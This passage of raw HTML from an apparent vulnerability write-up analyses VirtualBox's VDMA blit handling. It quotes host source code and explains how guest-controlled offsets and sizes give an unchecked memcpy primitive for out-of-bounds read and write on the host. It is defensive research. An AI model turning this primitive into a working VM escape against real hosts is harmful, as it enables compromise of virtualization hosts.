class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbTransfer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* to break *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ &#8230;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-41\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbTransfer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-42\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-43\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-44\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pTransfer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-45\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-46\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0032 seconds] -->  <\/p>\n<p>Note 1 and 2: the guest-controlled offsets <code><em>pTransfer->Src.offVramBuf<\/em><\/code> and <code><em>pTransfer->Dst.offVramBuf<\/em><\/code> are added to the VRAM address, without any verification or bounds checks.<\/p>\n<p>A memcpy is then performed with the guest-controlled size <code><em>pTransfer->cbTransferSize<\/em><\/code>.<\/p>\n<p>This gives us a <code>memcpy(VRAM + X, VRAM + Y, Z)<\/code> primitive, where we (as the guest)can chose <code>X<\/code>, <code>Y<\/code> and <code>Z<\/code> arbitrarily.<\/p>\n<p><strong>Out-of-bounds read\/write in vboxVDMACmdExecBlt<\/strong><br \/> The <code><em>VBOXVDMACMD_DMA_PRESENT_BLT<\/em><\/code> command struct looks as follows:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e35a337801630\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     typedef uint64_t VBOXVIDEOOFFSET;      \/* [&#8230;] *\/      typedef struct VBOXVDMACMD_DMA_PRESENT_BLT      {          VBOXVIDEOOFFSET offSrc;          VBOXVIDEOOFFSET offDst;          VBOXVDMA_SURF_DESC srcDesc;          VBOXVDMA_SURF_DESC dstDesc;          VBOXVDMA_RECTL srcRectl;          VBOXVDMA_RECTL dstRectl;          uint32_t u32Reserved;          uint32_t cDstSubRects;          VBOXVDMA_RECTL aDstSubRects[1];      } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35a337801630-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35a337801630-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35a337801630-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35a337801630-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35a337801630-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35a337801630-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35a337801630-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35a337801630-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35a337801630-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35a337801630-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35a337801630-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35a337801630-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35a337801630-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35a337801630-14\">14<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35a337801630-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint64_t <\/span><span class=\"crayon-v\">VBOXVIDEOOFFSET<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35a337801630-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* [&#8230;] *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35a337801630-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMACMD_DMA_PRESENT_BLT<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35a337801630-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35a337801630-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVIDEOOFFSET <\/span><span class=\"crayon-v\">offSrc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35a337801630-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVIDEOOFFSET <\/span><span class=\"crayon-v\">offDst<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35a337801630-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_SURF_DESC <\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35a337801630-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_SURF_DESC <\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35a337801630-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_RECTL <\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35a337801630-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_RECTL <\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35a337801630-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32Reserved<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35a337801630-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cDstSubRects<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35a337801630-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_RECTL <\/span><span class=\"crayon-v\">aDstSubRects<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35a337801630-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">PVBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>When issuing a VDMA command of type <code><em>VBOXVDMACMD_TYPE_DMA_PRESENT_BLT<\/em><\/code>, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.<\/p>\n<p>On the host, a pointer to the object is eventually passed to the following function inside the file <code><em>src\/VBox\/Devices\/Graphics\/DevVGA_VDMA.cpp<\/em><\/code>:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e35d888712262\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer)      {          const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt-&gt;cDstSubRects]);          Assert(cbBlt &lt;= cbBuffer);          if (cbBuffer &lt; cbBlt)              return VERR_INVALID_FUNCTION;            \/* we do not support stretching for now *\/          Assert(pBlt-&gt;srcRectl.width == pBlt-&gt;dstRectl.width);          Assert(pBlt-&gt;srcRectl.height == pBlt-&gt;dstRectl.height);          if (pBlt-&gt;srcRectl.width != pBlt-&gt;dstRectl.width)              return VERR_INVALID_FUNCTION;          if (pBlt-&gt;srcRectl.height != pBlt-&gt;dstRectl.height)              return VERR_INVALID_FUNCTION;          Assert(pBlt-&gt;cDstSubRects);  \/* [[ Note 2 ]] *\/            uint8_t * pvRam = pVdma-&gt;pVGAState-&gt;vram_ptrR3;          VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0};            if (pBlt-&gt;cDstSubRects)          {              \/* [&#8230;] *\/          }          else          {              \/* [[ Note 1 ]] *\/              int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt-&gt;offDst, pvRam + pBlt-&gt;offSrc,                      &amp;pBlt-&gt;dstDesc, &amp;pBlt-&gt;srcDesc,                      &amp;pBlt-&gt;dstRectl,                      &amp;pBlt-&gt;srcRectl);              AssertRC(rc);              if (!RT_SUCCESS(rc))                  return rc;                vboxVDMARectlUnite(&amp;updateRectl, &amp;pBlt-&gt;dstRectl);          }            return cbBlt;      }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e35d888712262-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e35d888712262-39\">39<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxVDMACmdExecBlt<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PVBOXVDMAHOST <\/span><span class=\"crayon-v\">pVdma<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PVBOXVDMACMD_DMA_PRESENT_BLT <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbBuffer<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbBlt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMACMD_BODY_FIELD_OFFSET<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">aDstSubRects<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cDstSubRects<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbBlt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbBuffer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbBuffer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbBlt<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_INVALID_FUNCTION<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-7\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* we do not support stretching for now *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span 